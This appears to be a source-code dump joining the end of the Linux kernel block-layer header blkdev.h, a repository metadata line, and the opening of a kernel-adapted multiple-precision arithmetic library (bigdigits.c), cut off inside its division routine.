#define blk_pc_request(rq) ((rq)->cmd_type == REQ_TYPE_BLOCK_PC)
#define blk_special_request(rq) ((rq)->cmd_type == REQ_TYPE_SPECIAL)
#define blk_sense_request(rq) ((rq)->cmd_type == REQ_TYPE_SENSE)
#define blk_failfast_dev(rq) ((rq)->cmd_flags & REQ_FAILFAST_DEV)
#define blk_failfast_transport(rq) ((rq)->cmd_flags & REQ_FAILFAST_TRANSPORT)
#define blk_failfast_driver(rq) ((rq)->cmd_flags & REQ_FAILFAST_DRIVER)
#define blk_noretry_request(rq) (blk_failfast_dev(rq) || \
blk_failfast_transport(rq) || \
blk_failfast_driver(rq))
#define blk_rq_started(rq) ((rq)->cmd_flags & REQ_STARTED)
#define blk_rq_io_stat(rq) ((rq)->cmd_flags & REQ_IO_STAT)
#define blk_rq_quiet(rq) ((rq)->cmd_flags & REQ_QUIET)
#define blk_account_rq(rq) (blk_rq_started(rq) && (blk_fs_request(rq) || blk_discard_rq(rq)))
#define blk_pm_suspend_request(rq) ((rq)->cmd_type == REQ_TYPE_PM_SUSPEND)
#define blk_pm_resume_request(rq) ((rq)->cmd_type == REQ_TYPE_PM_RESUME)
#define blk_pm_request(rq) \
(blk_pm_suspend_request(rq) || blk_pm_resume_request(rq))
#define blk_rq_cpu_valid(rq) ((rq)->cpu != -1)
#define blk_sorted_rq(rq) ((rq)->cmd_flags & REQ_SORTED)
#define blk_barrier_rq(rq) ((rq)->cmd_flags & REQ_HARDBARRIER)
#define blk_fua_rq(rq) ((rq)->cmd_flags & REQ_FUA)
#define blk_discard_rq(rq) ((rq)->cmd_flags & REQ_DISCARD)
#define blk_bidi_rq(rq) ((rq)->next_rq != NULL)
/* rq->queuelist of dequeued request must be list_empty() */
#define blk_queued_rq(rq) (!list_empty(&(rq)->queuelist))
#define list_entry_rq(ptr) list_entry((ptr), struct request, queuelist)
#define rq_data_dir(rq) ((rq)->cmd_flags & 1)
static inline unsigned int blk_queue_cluster(struct request_queue *q)
{
return q->limits.cluster;
}
/*
* We regard a request as sync, if either a read or a sync write
*/
static inline bool rw_is_sync(unsigned int rw_flags)
{
return !(rw_flags & REQ_RW) || (rw_flags & REQ_RW_SYNC);
}
static inline bool rq_is_sync(struct request *rq)
{
return rw_is_sync(rq->cmd_flags);
}
#define rq_is_meta(rq) ((rq)->cmd_flags & REQ_RW_META)
#define rq_noidle(rq) ((rq)->cmd_flags & REQ_NOIDLE)
static inline int blk_queue_full(struct request_queue *q, int sync)
{
if (sync)
return test_bit(QUEUE_FLAG_SYNCFULL, &q->queue_flags);
return test_bit(QUEUE_FLAG_ASYNCFULL, &q->queue_flags);
}
static inline void blk_set_queue_full(struct request_queue *q, int sync)
{
if (sync)
queue_flag_set(QUEUE_FLAG_SYNCFULL, q);
else
queue_flag_set(QUEUE_FLAG_ASYNCFULL, q);
}
static inline void blk_clear_queue_full(struct request_queue *q, int sync)
{
if (sync)
queue_flag_clear(QUEUE_FLAG_SYNCFULL, q);
else
queue_flag_clear(QUEUE_FLAG_ASYNCFULL, q);
}
/*
* mergeable request must not have _NOMERGE or _BARRIER bit set, nor may
* it already be started by driver.
*/
#define RQ_NOMERGE_FLAGS \
(REQ_NOMERGE | REQ_STARTED | REQ_HARDBARRIER | REQ_SOFTBARRIER)
#define rq_mergeable(rq) \
(!((rq)->cmd_flags & RQ_NOMERGE_FLAGS) && \
(blk_discard_rq(rq) || blk_fs_request((rq))))
/*
* q->prep_rq_fn return values
*/
#define BLKPREP_OK 0 /* serve it */
#define BLKPREP_KILL 1 /* fatal error, kill */
#define BLKPREP_DEFER 2 /* leave on queue */
extern unsigned long blk_max_low_pfn, blk_max_pfn;
/*
* standard bounce addresses:
*
* BLK_BOUNCE_HIGH : bounce all highmem pages
* BLK_BOUNCE_ANY : don't bounce anything
* BLK_BOUNCE_ISA : bounce pages above ISA DMA boundary
*/
#if BITS_PER_LONG == 32
#define BLK_BOUNCE_HIGH ((u64)blk_max_low_pfn << PAGE_SHIFT)
#else
#define BLK_BOUNCE_HIGH -1ULL
#endif
#define BLK_BOUNCE_ANY (-1ULL)
#define BLK_BOUNCE_ISA (ISA_DMA_THRESHOLD)
/*
* default timeout for SG_IO if none specified
*/
#define BLK_DEFAULT_SG_TIMEOUT (60 * HZ)
#define BLK_MIN_SG_TIMEOUT (7 * HZ)
#ifdef CONFIG_BOUNCE
extern int init_emergency_isa_pool(void);
extern void blk_queue_bounce(struct request_queue *q, struct bio **bio);
#else
static inline int init_emergency_isa_pool(void)
{
return 0;
}
static inline void blk_queue_bounce(struct request_queue *q, struct bio **bio)
{
}
#endif /* CONFIG_MMU */
struct rq_map_data {
struct page **pages;
int page_order;
int nr_entries;
unsigned long offset;
int null_mapped;
int from_user;
};
struct req_iterator {
int i;
struct bio *bio;
};
/* This should not be used directly - use rq_for_each_segment */
#define for_each_bio(_bio) \
for (; _bio; _bio = _bio->bi_next)
#define __rq_for_each_bio(_bio, rq) \
if ((rq->bio)) \
for (_bio = (rq)->bio; _bio; _bio = _bio->bi_next)
#define rq_for_each_segment(bvl, _rq, _iter) \
__rq_for_each_bio(_iter.bio, _rq) \
bio_for_each_segment(bvl, _iter.bio, _iter.i)
#define rq_iter_last(rq, _iter) \
(_iter.bio->bi_next == NULL && _iter.i == _iter.bio->bi_vcnt-1)
#ifndef ARCH_IMPLEMENTS_FLUSH_DCACHE_PAGE
# error "You should define ARCH_IMPLEMENTS_FLUSH_DCACHE_PAGE for your platform"
#endif
#if ARCH_IMPLEMENTS_FLUSH_DCACHE_PAGE
extern void rq_flush_dcache_pages(struct request *rq);
#else
static inline void rq_flush_dcache_pages(struct request *rq)
{
}
#endif
extern int blk_register_queue(struct gendisk *disk);
extern void blk_unregister_queue(struct gendisk *disk);
extern void register_disk(struct gendisk *dev);
extern void generic_make_request(struct bio *bio);
extern void blk_rq_init(struct request_queue *q, struct request *rq);
extern void blk_put_request(struct request *);
extern void __blk_put_request(struct request_queue *, struct request *);
extern struct request *blk_get_request(struct request_queue *, int, gfp_t);
extern struct request *blk_make_request(struct request_queue *, struct bio *,
gfp_t);
extern void blk_insert_request(struct request_queue *, struct request *, int, void *);
extern void blk_requeue_request(struct request_queue *, struct request *);
extern int blk_rq_check_limits(struct request_queue *q, struct request *rq);
extern int blk_lld_busy(struct request_queue *q);
extern int blk_rq_prep_clone(struct request *rq, struct request *rq_src,
struct bio_set *bs, gfp_t gfp_mask,
int (*bio_ctr)(struct bio *, struct bio *, void *),
void *data);
extern void blk_rq_unprep_clone(struct request *rq);
extern int blk_insert_cloned_request(struct request_queue *q,
struct request *rq);
extern void blk_plug_device(struct request_queue *);
extern void blk_plug_device_unlocked(struct request_queue *);
extern int blk_remove_plug(struct request_queue *);
extern void blk_recount_segments(struct request_queue *, struct bio *);
extern int scsi_cmd_ioctl(struct request_queue *, struct gendisk *, fmode_t,
unsigned int, void __user *);
extern int sg_scsi_ioctl(struct request_queue *, struct gendisk *, fmode_t,
struct scsi_ioctl_command __user *);
/*
* A queue has just exitted congestion. Note this in the global counter of
* congested queues, and wake up anyone who was waiting for requests to be
* put back.
*/
static inline void blk_clear_queue_congested(struct request_queue *q, int sync)
{
clear_bdi_congested(&q->backing_dev_info, sync);
}
/*
* A queue has just entered congestion. Flag that in the queue's VM-visible
* state flags and increment the global gounter of congested queues.
*/
static inline void blk_set_queue_congested(struct request_queue *q, int sync)
{
set_bdi_congested(&q->backing_dev_info, sync);
}
extern void blk_start_queue(struct request_queue *q);
extern void blk_stop_queue(struct request_queue *q);
extern void blk_sync_queue(struct request_queue *q);
extern void __blk_stop_queue(struct request_queue *q);
extern void __blk_run_queue(struct request_queue *);
extern void blk_run_queue(struct request_queue *);
extern int blk_rq_map_user(struct request_queue *, struct request *,
struct rq_map_data *, void __user *, unsigned long,
gfp_t);
extern int blk_rq_unmap_user(struct bio *);
extern int blk_rq_map_kern(struct request_queue *, struct request *, void *, unsigned int, gfp_t);
extern int blk_rq_map_user_iov(struct request_queue *, struct request *,
struct rq_map_data *, struct sg_iovec *, int,
unsigned int, gfp_t);
extern int blk_execute_rq(struct request_queue *, struct gendisk *,
struct request *, int);
extern void blk_execute_rq_nowait(struct request_queue *, struct gendisk *,
struct request *, int, rq_end_io_fn *);
extern void blk_unplug(struct request_queue *q);
static inline struct request_queue *bdev_get_queue(struct block_device *bdev)
{
return bdev->bd_disk->queue;
}
/*
* blk_rq_pos() : the current sector
* blk_rq_bytes() : bytes left in the entire request
* blk_rq_cur_bytes() : bytes left in the current segment
* blk_rq_err_bytes() : bytes left till the next error boundary
* blk_rq_sectors() : sectors left in the entire request
* blk_rq_cur_sectors() : sectors left in the current segment
*/
static inline sector_t blk_rq_pos(const struct request *rq)
{
return rq->__sector;
}
static inline unsigned int blk_rq_bytes(const struct request *rq)
{
return rq->__data_len;
}
static inline int blk_rq_cur_bytes(const struct request *rq)
{
return rq->bio ? bio_cur_bytes(rq->bio) : 0;
}
extern unsigned int blk_rq_err_bytes(const struct request *rq);
static inline unsigned int blk_rq_sectors(const struct request *rq)
{
return blk_rq_bytes(rq) >> 9;
}
static inline unsigned int blk_rq_cur_sectors(const struct request *rq)
{
return blk_rq_cur_bytes(rq) >> 9;
}
/*
* Request issue related functions.
*/
extern struct request *blk_peek_request(struct request_queue *q);
extern void blk_start_request(struct request *rq);
extern struct request *blk_fetch_request(struct request_queue *q);
/*
* Request completion related functions.
*
* blk_update_request() completes given number of bytes and updates
* the request without completing it.
*
* blk_end_request() and friends. __blk_end_request() must be called
* with the request queue spinlock acquired.
*
* Several drivers define their own end_request and call
* blk_end_request() for parts of the original function.
* This prevents code duplication in drivers.
*/
extern bool blk_update_request(struct request *rq, int error,
unsigned int nr_bytes);
extern bool blk_end_request(struct request *rq, int error,
unsigned int nr_bytes);
extern void blk_end_request_all(struct request *rq, int error);
extern bool blk_end_request_cur(struct request *rq, int error);
extern bool blk_end_request_err(struct request *rq, int error);
extern bool __blk_end_request(struct request *rq, int error,
unsigned int nr_bytes);
extern void __blk_end_request_all(struct request *rq, int error);
extern bool __blk_end_request_cur(struct request *rq, int error);
extern bool __blk_end_request_err(struct request *rq, int error);
extern void blk_complete_request(struct request *);
extern void __blk_complete_request(struct request *);
extern void blk_abort_request(struct request *);
extern void blk_abort_queue(struct request_queue *);
/*
* Access functions for manipulating queue properties
*/
extern struct request_queue *blk_init_queue_node(request_fn_proc *rfn,
spinlock_t *lock, int node_id);
extern struct request_queue *blk_init_allocated_queue_node(struct request_queue *,
request_fn_proc *,
spinlock_t *, int node_id);
extern struct request_queue *blk_init_queue(request_fn_proc *, spinlock_t *);
extern struct request_queue *blk_init_allocated_queue(struct request_queue *,
request_fn_proc *, spinlock_t *);
extern void blk_cleanup_queue(struct request_queue *);
extern void blk_queue_make_request(struct request_queue *, make_request_fn *);
extern void blk_queue_bounce_limit(struct request_queue *, u64);
extern void blk_queue_max_hw_sectors(struct request_queue *, unsigned int);
extern void blk_queue_max_segments(struct request_queue *, unsigned short);
extern void blk_queue_max_segment_size(struct request_queue *, unsigned int);
extern void blk_queue_max_discard_sectors(struct request_queue *q,
unsigned int max_discard_sectors);
extern void blk_queue_logical_block_size(struct request_queue *, unsigned short);
extern void blk_queue_physical_block_size(struct request_queue *, unsigned int);
extern void blk_queue_alignment_offset(struct request_queue *q,
unsigned int alignment);
extern void blk_limits_io_min(struct queue_limits *limits, unsigned int min);
extern void blk_queue_io_min(struct request_queue *q, unsigned int min);
extern void blk_limits_io_opt(struct queue_limits *limits, unsigned int opt);
extern void blk_queue_io_opt(struct request_queue *q, unsigned int opt);
extern void blk_set_default_limits(struct queue_limits *lim);
extern int blk_stack_limits(struct queue_limits *t, struct queue_limits *b,
sector_t offset);
extern int bdev_stack_limits(struct queue_limits *t, struct block_device *bdev,
sector_t offset);
extern void disk_stack_limits(struct gendisk *disk, struct block_device *bdev,
sector_t offset);
extern void blk_queue_stack_limits(struct request_queue *t, struct request_queue *b);
extern void blk_queue_dma_pad(struct request_queue *, unsigned int);
extern void blk_queue_update_dma_pad(struct request_queue *, unsigned int);
extern int blk_queue_dma_drain(struct request_queue *q,
dma_drain_needed_fn *dma_drain_needed,
void *buf, unsigned int size);
extern void blk_queue_lld_busy(struct request_queue *q, lld_busy_fn *fn);
extern void blk_queue_segment_boundary(struct request_queue *, unsigned long);
extern void blk_queue_prep_rq(struct request_queue *, prep_rq_fn *pfn);
extern void blk_queue_merge_bvec(struct request_queue *, merge_bvec_fn *);
extern void blk_queue_dma_alignment(struct request_queue *, int);
extern void blk_queue_update_dma_alignment(struct request_queue *, int);
extern void blk_queue_softirq_done(struct request_queue *, softirq_done_fn *);
extern void blk_queue_rq_timed_out(struct request_queue *, rq_timed_out_fn *);
extern void blk_queue_rq_timeout(struct request_queue *, unsigned int);
extern struct backing_dev_info *blk_get_backing_dev_info(struct block_device *bdev);
extern int blk_queue_ordered(struct request_queue *, unsigned, prepare_flush_fn *);
extern bool blk_do_ordered(struct request_queue *, struct request **);
extern unsigned blk_ordered_cur_seq(struct request_queue *);
extern unsigned blk_ordered_req_seq(struct request *);
extern bool blk_ordered_complete_seq(struct request_queue *, unsigned, int);
extern int blk_rq_map_sg(struct request_queue *, struct request *, struct scatterlist *);
extern void blk_dump_rq_flags(struct request *, char *);
extern void generic_unplug_device(struct request_queue *);
extern long nr_blockdev_pages(void);
int blk_get_queue(struct request_queue *);
struct request_queue *blk_alloc_queue(gfp_t);
struct request_queue *blk_alloc_queue_node(gfp_t, int);
extern void blk_put_queue(struct request_queue *);
/*
* tag stuff
*/
#define blk_rq_tagged(rq) ((rq)->cmd_flags & REQ_QUEUED)
extern int blk_queue_start_tag(struct request_queue *, struct request *);
extern struct request *blk_queue_find_tag(struct request_queue *, int);
extern void blk_queue_end_tag(struct request_queue *, struct request *);
extern int blk_queue_init_tags(struct request_queue *, int, struct blk_queue_tag *);
extern void blk_queue_free_tags(struct request_queue *);
extern int blk_queue_resize_tags(struct request_queue *, int);
extern void blk_queue_invalidate_tags(struct request_queue *);
extern struct blk_queue_tag *blk_init_tags(int);
extern void blk_free_tags(struct blk_queue_tag *);
static inline struct request *blk_map_queue_find_tag(struct blk_queue_tag *bqt,
int tag)
{
if (unlikely(bqt == NULL || tag >= bqt->real_max_depth))
return NULL;
return bqt->tag_index[tag];
}
enum{
BLKDEV_WAIT, /* wait for completion */
BLKDEV_BARRIER, /*issue request with barrier */
};
#define BLKDEV_IFL_WAIT (1 << BLKDEV_WAIT)
#define BLKDEV_IFL_BARRIER (1 << BLKDEV_BARRIER)
extern int blkdev_issue_flush(struct block_device *, gfp_t, sector_t *,
unsigned long);
extern int blkdev_issue_discard(struct block_device *bdev, sector_t sector,
sector_t nr_sects, gfp_t gfp_mask, unsigned long flags);
extern int blkdev_issue_zeroout(struct block_device *bdev, sector_t sector,
sector_t nr_sects, gfp_t gfp_mask, unsigned long flags);
static inline int sb_issue_discard(struct super_block *sb,
sector_t block, sector_t nr_blocks)
{
block <<= (sb->s_blocksize_bits - 9);
nr_blocks <<= (sb->s_blocksize_bits - 9);
return blkdev_issue_discard(sb->s_bdev, block, nr_blocks, GFP_KERNEL,
BLKDEV_IFL_WAIT | BLKDEV_IFL_BARRIER);
}
extern int blk_verify_command(unsigned char *cmd, fmode_t has_write_perm);
enum blk_default_limits {
BLK_MAX_SEGMENTS = 128,
BLK_SAFE_MAX_SECTORS = 255,
BLK_DEF_MAX_SECTORS = 1024,
BLK_MAX_SEGMENT_SIZE = 65536,
BLK_SEG_BOUNDARY_MASK = 0xFFFFFFFFUL,
};
#define blkdev_entry_to_request(entry) list_entry((entry), struct request, queuelist)
static inline unsigned long queue_bounce_pfn(struct request_queue *q)
{
return q->limits.bounce_pfn;
}
static inline unsigned long queue_segment_boundary(struct request_queue *q)
{
return q->limits.seg_boundary_mask;
}
static inline unsigned int queue_max_sectors(struct request_queue *q)
{
return q->limits.max_sectors;
}
static inline unsigned int queue_max_hw_sectors(struct request_queue *q)
{
return q->limits.max_hw_sectors;
}
static inline unsigned short queue_max_segments(struct request_queue *q)
{
return q->limits.max_segments;
}
static inline unsigned int queue_max_segment_size(struct request_queue *q)
{
return q->limits.max_segment_size;
}
static inline unsigned short queue_logical_block_size(struct request_queue *q)
{
int retval = 512;
if (q && q->limits.logical_block_size)
retval = q->limits.logical_block_size;
return retval;
}
static inline unsigned short bdev_logical_block_size(struct block_device *bdev)
{
return queue_logical_block_size(bdev_get_queue(bdev));
}
static inline unsigned int queue_physical_block_size(struct request_queue *q)
{
return q->limits.physical_block_size;
}
static inline unsigned int bdev_physical_block_size(struct block_device *bdev)
{
return queue_physical_block_size(bdev_get_queue(bdev));
}
static inline unsigned int queue_io_min(struct request_queue *q)
{
return q->limits.io_min;
}
static inline int bdev_io_min(struct block_device *bdev)
{
return queue_io_min(bdev_get_queue(bdev));
}
static inline unsigned int queue_io_opt(struct request_queue *q)
{
return q->limits.io_opt;
}
static inline int bdev_io_opt(struct block_device *bdev)
{
return queue_io_opt(bdev_get_queue(bdev));
}
static inline int queue_alignment_offset(struct request_queue *q)
{
if (q->limits.misaligned)
return -1;
return q->limits.alignment_offset;
}
static inline int queue_limit_alignment_offset(struct queue_limits *lim, sector_t sector)
{
unsigned int granularity = max(lim->physical_block_size, lim->io_min);
unsigned int alignment = (sector << 9) & (granularity - 1);
return (granularity + lim->alignment_offset - alignment)
& (granularity - 1);
}
static inline int bdev_alignment_offset(struct block_device *bdev)
{
struct request_queue *q = bdev_get_queue(bdev);
if (q->limits.misaligned)
return -1;
if (bdev != bdev->bd_contains)
return bdev->bd_part->alignment_offset;
return q->limits.alignment_offset;
}
static inline int queue_discard_alignment(struct request_queue *q)
{
if (q->limits.discard_misaligned)
return -1;
return q->limits.discard_alignment;
}
static inline int queue_limit_discard_alignment(struct queue_limits *lim, sector_t sector)
{
unsigned int alignment = (sector << 9) & (lim->discard_granularity - 1);
return (lim->discard_granularity + lim->discard_alignment - alignment)
& (lim->discard_granularity - 1);
}
static inline unsigned int queue_discard_zeroes_data(struct request_queue *q)
{
if (q->limits.discard_zeroes_data == 1)
return 1;
return 0;
}
static inline unsigned int bdev_discard_zeroes_data(struct block_device *bdev)
{
return queue_discard_zeroes_data(bdev_get_queue(bdev));
}
static inline int queue_dma_alignment(struct request_queue *q)
{
return q ? q->dma_alignment : 511;
}
static inline int blk_rq_aligned(struct request_queue *q, void *addr,
unsigned int len)
{
unsigned int alignment = queue_dma_alignment(q) | q->dma_pad_mask;
return !((unsigned long)addr & alignment) && !(len & alignment);
}
/* assumes size > 256 */
static inline unsigned int blksize_bits(unsigned int size)
{
unsigned int bits = 8;
do {
bits++;
size >>= 1;
} while (size > 256);
return bits;
}
static inline unsigned int block_size(struct block_device *bdev)
{
return bdev->bd_block_size;
}
typedef struct {struct page *v;} Sector;
unsigned char *read_dev_sector(struct block_device *, sector_t, Sector *);
static inline void put_dev_sector(Sector p)
{
page_cache_release(p.v);
}
struct work_struct;
int kblockd_schedule_work(struct request_queue *q, struct work_struct *work);
#ifdef CONFIG_BLK_CGROUP
/*
* This should not be using sched_clock(). A real patch is in progress
* to fix this up, until that is in place we need to disable preemption
* around sched_clock() in this function and set_io_start_time_ns().
*/
static inline void set_start_time_ns(struct request *req)
{
preempt_disable();
req->start_time_ns = sched_clock();
preempt_enable();
}
static inline void set_io_start_time_ns(struct request *req)
{
preempt_disable();
req->io_start_time_ns = sched_clock();
preempt_enable();
}
static inline uint64_t rq_start_time_ns(struct request *req)
{
return req->start_time_ns;
}
static inline uint64_t rq_io_start_time_ns(struct request *req)
{
return req->io_start_time_ns;
}
#else
static inline void set_start_time_ns(struct request *req) {}
static inline void set_io_start_time_ns(struct request *req) {}
static inline uint64_t rq_start_time_ns(struct request *req)
{
return 0;
}
static inline uint64_t rq_io_start_time_ns(struct request *req)
{
return 0;
}
#endif
#define MODULE_ALIAS_BLOCKDEV(major,minor) \
MODULE_ALIAS("block-major-" __stringify(major) "-" __stringify(minor))
#define MODULE_ALIAS_BLOCKDEV_MAJOR(major) \
MODULE_ALIAS("block-major-" __stringify(major) "-*")
#if defined(CONFIG_BLK_DEV_INTEGRITY)
#define INTEGRITY_FLAG_READ 2 /* verify data integrity on read */
#define INTEGRITY_FLAG_WRITE 4 /* generate data integrity on write */
struct blk_integrity_exchg {
void *prot_buf;
void *data_buf;
sector_t sector;
unsigned int data_size;
unsigned short sector_size;
const char *disk_name;
};
typedef void (integrity_gen_fn) (struct blk_integrity_exchg *);
typedef int (integrity_vrfy_fn) (struct blk_integrity_exchg *);
typedef void (integrity_set_tag_fn) (void *, void *, unsigned int);
typedef void (integrity_get_tag_fn) (void *, void *, unsigned int);
struct blk_integrity {
integrity_gen_fn *generate_fn;
integrity_vrfy_fn *verify_fn;
integrity_set_tag_fn *set_tag_fn;
integrity_get_tag_fn *get_tag_fn;
unsigned short flags;
unsigned short tuple_size;
unsigned short sector_size;
unsigned short tag_size;
const char *name;
struct kobject kobj;
};
extern int blk_integrity_register(struct gendisk *, struct blk_integrity *);
extern void blk_integrity_unregister(struct gendisk *);
extern int blk_integrity_compare(struct gendisk *, struct gendisk *);
extern int blk_rq_map_integrity_sg(struct request *, struct scatterlist *);
extern int blk_rq_count_integrity_sg(struct request *);
static inline
struct blk_integrity *bdev_get_integrity(struct block_device *bdev)
{
return bdev->bd_disk->integrity;
}
static inline struct blk_integrity *blk_get_integrity(struct gendisk *disk)
{
return disk->integrity;
}
static inline int blk_integrity_rq(struct request *rq)
{
if (rq->bio == NULL)
return 0;
return bio_integrity(rq->bio);
}
#else /* CONFIG_BLK_DEV_INTEGRITY */
#define blk_integrity_rq(rq) (0)
#define blk_rq_count_integrity_sg(a) (0)
#define blk_rq_map_integrity_sg(a, b) (0)
#define bdev_get_integrity(a) (0)
#define blk_get_integrity(a) (0)
#define blk_integrity_compare(a, b) (0)
#define blk_integrity_register(a, b) (0)
#define blk_integrity_unregister(a) do { } while (0);
#endif /* CONFIG_BLK_DEV_INTEGRITY */
struct block_device_operations {
int (*open) (struct block_device *, fmode_t);
int (*release) (struct gendisk *, fmode_t);
int (*locked_ioctl) (struct block_device *, fmode_t, unsigned, unsigned long);
int (*ioctl) (struct block_device *, fmode_t, unsigned, unsigned long);
int (*compat_ioctl) (struct block_device *, fmode_t, unsigned, unsigned long);
int (*direct_access) (struct block_device *, sector_t,
void **, unsigned long *);
int (*media_changed) (struct gendisk *);
void (*unlock_native_capacity) (struct gendisk *);
int (*revalidate_disk) (struct gendisk *);
int (*getgeo)(struct block_device *, struct hd_geometry *);
/* this callback is with swap_lock and sometimes page table lock held */
void (*swap_slot_free_notify) (struct block_device *, unsigned long);
struct module *owner;
};
extern int __blkdev_driver_ioctl(struct block_device *, fmode_t, unsigned int,
unsigned long);
#else /* CONFIG_BLOCK */
/*
* stubs for when the block layer is configured out
*/
#define buffer_heads_over_limit 0
static inline long nr_blockdev_pages(void)
{
return 0;
}
#endif /* CONFIG_BLOCK */
#endif
|
raisul2010/samurai-kernel
|
include/linux/blkdev.h
|
C
|
gpl-2.0
| 42,484 |
/* $Id: bigdigits.c $ */
/***** BEGIN LICENSE BLOCK *****
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
* Copyright (c) 2001-15 David Ireland, D.I. Management Services Pty Limited
* <http://www.di-mgt.com.au/bigdigits.html>. All rights reserved.
*
* Alternatively, the contents of this file may be used under the terms
* of the GNU General Public License Version 2, as described below:
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details
*
***** END LICENSE BLOCK *****/
/*
* Last updated:
* $Date: 2015-10-22 10:23:00 $
* $Revision: 2.5.0 $
* $Author: dai $
*/
#include "bigdigits.h"
#include <linux/types.h>
#include <linux/math64.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <asm-generic/bug.h>
#define assert(a) BUG_ON(!(a))
/* Useful definitions */
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
/* Added in [v2.4] for ALLOC_BYTES and FREE_BYTES */
volatile uint8_t zeroise_bytes(volatile void *v, size_t n)
{ /* Zeroise byte array b and make sure optimiser does not ignore this */
volatile uint8_t optdummy;
volatile uint8_t *b = (uint8_t*)v;
while(n--)
b[n] = 0;
optdummy = *b;
return optdummy;
}
/* Force linker to include copyright notice in executable object image */
volatile char *copyright_notice(void)
{
return
"Contains multiple-precision arithmetic code originally written by David Ireland,"
" copyright (c) 2001-15 by D.I. Management Services Pty Limited <www.di-mgt.com.au>.";
}
#define IS_NONZERO_DIGIT(x) (((x)|(~(x)+1)) >> (BITS_PER_DIGIT-1))
#define IS_ZER0_DIGIT(x) (1 ^ IS_NONZERO_DIGIT((x)))
/** Returns 1 if a == b, else 0 (constant-time) */
int mpEqual(const u32 a[], const u32 b[], size_t ndigits)
{
u32 dif = 0;
while (ndigits--) {
dif |= a[ndigits] ^ b[ndigits];
}
return (IS_ZER0_DIGIT(dif));
}
/** Returns 1 if a == 0, else 0 (constant-time) */
int mpIsZero(const u32 a[], size_t ndigits)
{
u32 dif = 0;
const u32 ZERO = 0;
while (ndigits--) {
dif |= a[ndigits] ^ ZERO;
}
return (IS_ZER0_DIGIT(dif));
}
int spMultiply(u32 p[2], u32 x, u32 y)
{
/* Use a 64-bit temp for product */
uint64_t t = (uint64_t)x * (uint64_t)y;
/* then split into two parts */
p[1] = (u32)(t >> 32);
p[0] = (u32)(t & 0xFFFFFFFF);
return 0;
}
u32 spDivide(u32 *pq, u32 *pr, const u32 u[2], u32 v)
{
uint64_t uu, q;
uu = (uint64_t)u[1] << 32 | (uint64_t)u[0];
q = div64_ul(uu, (uint64_t)v);
//r = uu % (uint64_t)v;
*pr = (u32)(uu - q * v);
*pq = (u32)(q & 0xFFFFFFFF);
return (u32)(q >> 32);
}
u32 mpAdd(u32 w[], const u32 u[], const u32 v[], size_t ndigits)
{
/* Calculates w = u + v
where w, u, v are multiprecision integers of ndigits each
Returns carry if overflow. Carry = 0 or 1.
Ref: Knuth Vol 2 Ch 4.3.1 p 266 Algorithm A.
*/
u32 k;
size_t j;
assert(w != v);
/* Step A1. Initialise */
k = 0;
for (j = 0; j < ndigits; j++)
{
/* Step A2. Add digits w_j = (u_j + v_j + k)
Set k = 1 if carry (overflow) occurs
*/
w[j] = u[j] + k;
if (w[j] < k)
k = 1;
else
k = 0;
w[j] += v[j];
if (w[j] < v[j])
k++;
} /* Step A3. Loop on j */
return k; /* w_n = k */
}
u32 mpSubtract(u32 w[], const u32 u[], const u32 v[], size_t ndigits)
{
/* Calculates w = u - v where u >= v
w, u, v are multiprecision integers of ndigits each
Returns 0 if OK, or 1 if v > u.
Ref: Knuth Vol 2 Ch 4.3.1 p 267 Algorithm S.
*/
u32 k;
size_t j;
assert(w != v);
/* Step S1. Initialise */
k = 0;
for (j = 0; j < ndigits; j++)
{
/* Step S2. Subtract digits w_j = (u_j - v_j - k)
Set k = 1 if borrow occurs.
*/
w[j] = u[j] - k;
if (w[j] > MAX_DIGIT - k)
k = 1;
else
k = 0;
w[j] -= v[j];
if (w[j] > MAX_DIGIT - v[j])
k++;
} /* Step S3. Loop on j */
return k; /* Should be zero if u >= v */
}
int mpMultiply(u32 w[], const u32 u[], const u32 v[], size_t ndigits)
{
/* Computes product w = u * v
where u, v are multiprecision integers of ndigits each
and w is a multiprecision integer of 2*ndigits
Ref: Knuth Vol 2 Ch 4.3.1 p 268 Algorithm M.
*/
u32 k, t[2];
size_t i, j, m, n;
assert(w != u && w != v);
m = n = ndigits;
/* Step M1. Initialise */
for (i = 0; i < 2 * m; i++)
w[i] = 0;
for (j = 0; j < n; j++)
{
/* Step M2. Zero multiplier? */
if (v[j] == 0)
{
w[j + m] = 0;
}
else
{
/* Step M3. Initialise i */
k = 0;
for (i = 0; i < m; i++)
{
/* Step M4. Multiply and add */
/* t = u_i * v_j + w_(i+j) + k */
spMultiply(t, u[i], v[j]);
t[0] += k;
if (t[0] < k)
t[1]++;
t[0] += w[i+j];
if (t[0] < w[i+j])
t[1]++;
w[i+j] = t[0];
k = t[1];
}
/* Step M5. Loop on i, set w_(j+m) = k */
w[j+m] = k;
}
} /* Step M6. Loop on j */
return 0;
}
static u32 mpMultSub(u32 wn, u32 w[], const u32 v[],
u32 q, size_t n)
{ /* Compute w = w - qv
where w = (WnW[n-1]...W[0])
return modified Wn.
*/
u32 k, t[2];
size_t i;
if (q == 0) /* No change */
return wn;
k = 0;
for (i = 0; i < n; i++)
{
spMultiply(t, q, v[i]);
w[i] -= k;
if (w[i] > MAX_DIGIT - k)
k = 1;
else
k = 0;
w[i] -= t[0];
if (w[i] > MAX_DIGIT - t[0])
k++;
k += t[1];
}
/* Cope with Wn not stored in array w[0..n-1] */
wn -= k;
return wn;
}
static int QhatTooBig(u32 qhat, u32 rhat,
u32 vn2, u32 ujn2)
{ /* Returns true if Qhat is too big
i.e. if (Qhat * Vn-2) > (b.Rhat + Uj+n-2)
*/
u32 t[2];
spMultiply(t, qhat, vn2);
if (t[1] < rhat)
return 0;
else if (t[1] > rhat)
return 1;
else if (t[0] > ujn2)
return 1;
return 0;
}
int mpDivide(u32 q[], u32 r[], const u32 u[],
size_t udigits, u32 v[], size_t vdigits)
{ /* Computes quotient q = u / v and remainder r = u mod v
where q, r, u are multiple precision digits
all of udigits and the divisor v is vdigits.
Ref: Knuth Vol 2 Ch 4.3.1 p 272 Algorithm D.
Do without extra storage space, i.e. use r[] for
